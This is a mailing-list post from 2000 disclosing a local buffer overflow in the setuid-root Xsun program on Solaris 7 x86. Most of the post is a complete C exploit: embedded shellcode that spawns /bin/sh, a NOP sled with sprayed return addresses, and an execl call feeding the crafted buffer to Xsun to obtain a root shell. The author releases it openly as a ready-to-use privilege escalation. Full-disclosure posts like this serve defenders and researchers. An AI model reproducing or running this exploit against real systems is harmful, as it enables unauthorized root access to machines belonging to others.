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Solaris x86 Xsun overflow.
From: teddi () LINUX IS (Theodor Ragnar Gislason)
Date: Mon, 24 Apr 2000 15:06:56 +0000
There exists an overflow in /usr/openwin/bin/Xsun setuid root program on solaris 7 x86 version, I'm not sure about sol 8. This bug was discovered and exploited sometime in '98. The program comes default setgid root on the sparc version of solaris. I haven't checked wether this is exploitable on sparc. I'm releasing this crap due to a copycat exploit from hack.co.za, you be the judge. later, DiGiT /* * * Solaris 7 Xsun(suid) local overflow - PRIVATE for now! * Solaris 2.7/(2.6?) x86 sploit no sparc code, yet! * * Discovered/sploited By DiGiT - teddi () linux is * * Greets: #!ADM, #!security.is */ #include <stdio.h> #include <stdlib.h> // Generic solaris x86 shellcode by cheeze wizz char shellcode[] = "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4" "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf" "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff" "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53" "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff"; long get_esp() { __asm__("movl %esp,%eax"); } int main(int argc, char *argv[]) { char buff[5000]; int nopcount=2001, bsize=4000, offset=1850; int i; if (argc > 1) nopcount = atoi(argv[1]); if (argc > 2) bsize = atoi(argv[2]); if (argc > 3) offset = atoi(argv[3]); memset (buff, 0x90, bsize); for (i = nopcount; i < bsize - 4; i += 4) *(long *) &buff[i] = get_esp() + offset; memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen (shellcode)); memcpy (buff, ":", 1); printf("Oh boy. DiGiT presents r00t\n"); execl("/usr/openwin/bin/Xsun", "Xsun", "-dev", buff, NULL); }
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